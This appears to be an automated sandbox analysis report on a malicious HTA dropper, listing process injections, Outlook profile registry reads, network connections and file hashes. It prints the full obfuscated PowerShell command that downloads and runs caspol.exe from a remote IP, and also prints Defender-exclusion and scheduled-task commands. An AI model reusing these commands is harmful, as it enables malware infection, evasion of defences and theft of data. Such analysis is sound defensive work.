Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1940 wrote to memory of 4464 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 1940 wrote to memory of 4464 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 1940 wrote to memory of 4464 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 4464 wrote to memory of 4980 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4464 wrote to memory of 4980 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4464 wrote to memory of 4980 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4464 wrote to memory of 624 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4464 wrote to memory of 624 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4464 wrote to memory of 624 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 624 wrote to memory of 752 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 624 wrote to memory of 752 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 624 wrote to memory of 752 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4464 wrote to memory of 3392 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4464 wrote to memory of 3392 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 4464 wrote to memory of 3392 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 4240 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3392 wrote to memory of 4240 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3392 wrote to memory of 4240 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3392 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3392 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3392 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3392 wrote to memory of 4648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3392 wrote to memory of 4648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3392 wrote to memory of 4648 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3392 wrote to memory of 4028 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 4028 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 4028 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3392 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe

"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC719.tmp" "c:\Users\Admin\AppData\Local\Temp\3r12k2sf\CSCEF7EBA91F50543469AF076C0231EAEEA.TMP"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp775E.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 136.243.3.192.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
US 8.8.8.8:53 181.129.81.91.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/4464-0-0x00000000708BE000-0x00000000708BF000-memory.dmp

memory/4464-1-0x0000000003070000-0x00000000030A6000-memory.dmp

memory/4464-2-0x00000000708B0000-0x0000000071060000-memory.dmp

memory/4464-3-0x0000000005D20000-0x0000000006348000-memory.dmp

memory/4464-4-0x00000000708B0000-0x0000000071060000-memory.dmp

memory/4464-5-0x0000000005990000-0x00000000059B2000-memory.dmp

memory/4464-6-0x0000000005AC0000-0x0000000005B26000-memory.dmp

memory/4464-7-0x0000000005CB0000-0x0000000005D16000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qe1xdecx.sye.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4464-17-0x0000000006350000-0x00000000066A4000-memory.dmp

memory/4464-19-0x00000000069B0000-0x00000000069FC000-memory.dmp

memory/4464-18-0x0000000006960000-0x000000000697E000-memory.dmp

memory/4980-29-0x00000000070B0000-0x00000000070E2000-memory.dmp

memory/4980-30-0x000000006D170000-0x000000006D1BC000-memory.dmp

memory/4980-40-0x0000000007070000-0x000000000708E000-memory.dmp

memory/4980-41-0x00000000070F0000-0x0000000007193000-memory.dmp

memory/4980-42-0x0000000007880000-0x0000000007EFA000-memory.dmp

memory/4980-43-0x0000000007230000-0x000000000724A000-memory.dmp

memory/4980-44-0x0000000007290000-0x000000000729A000-memory.dmp

memory/4980-45-0x00000000074C0000-0x0000000007556000-memory.dmp

memory/4980-46-0x0000000007430000-0x0000000007441000-memory.dmp

memory/4980-47-0x0000000007460000-0x000000000746E000-memory.dmp

memory/4980-48-0x0000000007470000-0x0000000007484000-memory.dmp

memory/4980-49-0x0000000007580000-0x000000000759A000-memory.dmp

memory/4980-50-0x00000000074B0000-0x00000000074B8000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.cmdline

MD5 529bf2897ad4741cd16f28e263479182
SHA1 87e145a6cb38b99b422144f4714f68d4171be67d
SHA256 30fa4fae0e4b8df16ff2b37a101f64af84b753964fedb64c7ba8526236f23822
SHA512 87e811423e835ec369ed00503a18c9225d9db9aad75c0cac710c2816c8be2cd14db5ec3d5930c81ed52b260d3f20387ffbdd540264ad4498cb209c9da9b5429b

\??\c:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.0.cs

MD5 f8419bbc398e1a2b134eec88b333f8f6
SHA1 57ebba4cad00272da80b919df0908ec40f9be48a
SHA256 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3
SHA512 b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674

\??\c:\Users\Admin\AppData\Local\Temp\3r12k2sf\CSCEF7EBA91F50543469AF076C0231EAEEA.TMP

MD5 7e4c1d97410eda85b59db63274d607c2
SHA1 85434df29baf1e1b6df92e1324a84184d4d3483b
SHA256 8e0be0f884ce86c6acd923a9d3df8640c96ac21997bfc9a9f123fc35c8811d97
SHA512 95fd7ec35fc3b5c85b33be16df4091db61e7be7a92452b5870a9e89d509f95c3f33cb28d5e43654237f32af9869570a62123263234b116249f75e74f6b11e78a

C:\Users\Admin\AppData\Local\Temp\RESC719.tmp

MD5 79ba557091a03b3908b700f966ed045e
SHA1 13e974cfb985dfc77f84e5d0ecb1a991de64d0c5
SHA256 481e0cda505d1bb8329a9dbed9ff2b7c5c2c217604aed8c78b3793e103c45328
SHA512 1ed2edff2072b4ce646cf70ad0c7671f6c47f5a26bc38e790f2a7ae3ed159865ad0c524f3bac6e988397fc2b7188ab62e455b03af4a4655944e10a934552408e

memory/4464-65-0x0000000006F00000-0x0000000006F08000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.dll

MD5 047db5d2abb24113a51e996fd6787210
SHA1 4972acf6e257c3247dd1ff92ff62006a8066a044
SHA256 9481b624c8327e4d3b4c5248cd3c13179765c7f48fd4d8c0e500f92b7730412e
SHA512 ecb3c52d241ff60adbaa6eddb071a252a154aae6d7c674f967f264985c3345121251d2ac3c334420b4cf8ccc36aa587b724448da7d1c078b2881b973a7a879d6

memory/4464-71-0x00000000708BE000-0x00000000708BF000-memory.dmp

memory/4464-72-0x00000000708B0000-0x0000000071060000-memory.dmp

memory/4464-73-0x00000000708B0000-0x0000000071060000-memory.dmp

C:\Users\Admin\AppData\Roaming\caspol.exe

MD5 318ff90d7a2797a041b836f7f8900f62
SHA1 fdda6afed7a1643ae353e7a635e6744c2b0a07d5
SHA256 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430
SHA512 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pOwersheLl.eXe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c8c4710426720a42c39c741c417f0ff0
SHA1 e2aa3d9e64ea214e7c173c2b5def63566d0fb791
SHA256 00f25b082ac90a05ee3b278fabf68c85c5b70d83dc9b6f7aa7e6d033f289243c
SHA512 e1f4af8b832544aee75ea224fbcbe18f1cefae78be26fc46dee505846d6c852d3e014ab32888da5d21fe61ac2972b606d8b8e71390741c670dd5b09e631109e2

memory/3392-83-0x00000000004C0000-0x0000000000554000-memory.dmp

memory/4464-82-0x00000000708B0000-0x0000000071060000-memory.dmp

memory/3392-84-0x0000000005400000-0x00000000059A4000-memory.dmp

memory/3392-85-0x0000000004E50000-0x0000000004EE2000-memory.dmp

memory/3392-86-0x0000000004FA0000-0x000000000504A000-memory.dmp

memory/3392-87-0x00000000052B0000-0x00000000052BA000-memory.dmp

memory/3392-88-0x0000000005CA0000-0x0000000005D3C000-memory.dmp

memory/3392-89-0x00000000053D0000-0x00000000053E2000-memory.dmp

memory/3392-90-0x0000000007000000-0x0000000007064000-memory.dmp

memory/4240-95-0x0000000006370000-0x00000000066C4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp775E.tmp

MD5 366c1d61f126fa1ee5fd11e6ee6db782
SHA1 54424fed9bb9412f3688f80950e442c75eb707fd
SHA256 98cd5d7ff45e1df10d5d44c41cb4a30f2275e61b7f1a95c52236f4bf1d3c65a0
SHA512 e0aeb73077ca58fcac23b0cd07d964c34b61fc91465322f76d8df30288ee7fb47ad107c392d86aae5ec53464449a29b678ba8d47cd0aede77f4e6fd62de042f3

memory/4240-121-0x00000000069D0000-0x0000000006A1C000-memory.dmp

memory/2008-119-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2008-116-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/4240-122-0x000000006CB20000-0x000000006CB6C000-memory.dmp

memory/4240-132-0x0000000007B50000-0x0000000007BF3000-memory.dmp

memory/1376-133-0x000000006CB20000-0x000000006CB6C000-memory.dmp

memory/4240-146-0x0000000007EC0000-0x0000000007ED1000-memory.dmp

memory/4240-147-0x0000000007F00000-0x0000000007F14000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 77a19fae546cc5a8215da61b018fe201
SHA1 9148bcb04b8fead75f4f262bf6e3efaca6f074ff
SHA256 a52359a84d379ef92c36a3c455d570aaff606c10f24aa89db3768a834a4cac21
SHA512 3e911067cef28c64113adde76f6cddf33e5526a12ab788464894f62c71f491fc0e7c5cd2a8eb197629c5fee81991d282e7aace6a47ce8a48e07604e966a5a0db

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-493223053-2004649691-1575712786-1000\0f5007522459c86e95ffcc62f32308f1_755b0f1a-bb38-4bb2-bc7e-240c892146ee

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-493223053-2004649691-1575712786-1000\0f5007522459c86e95ffcc62f32308f1_755b0f1a-bb38-4bb2-bc7e-240c892146ee

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b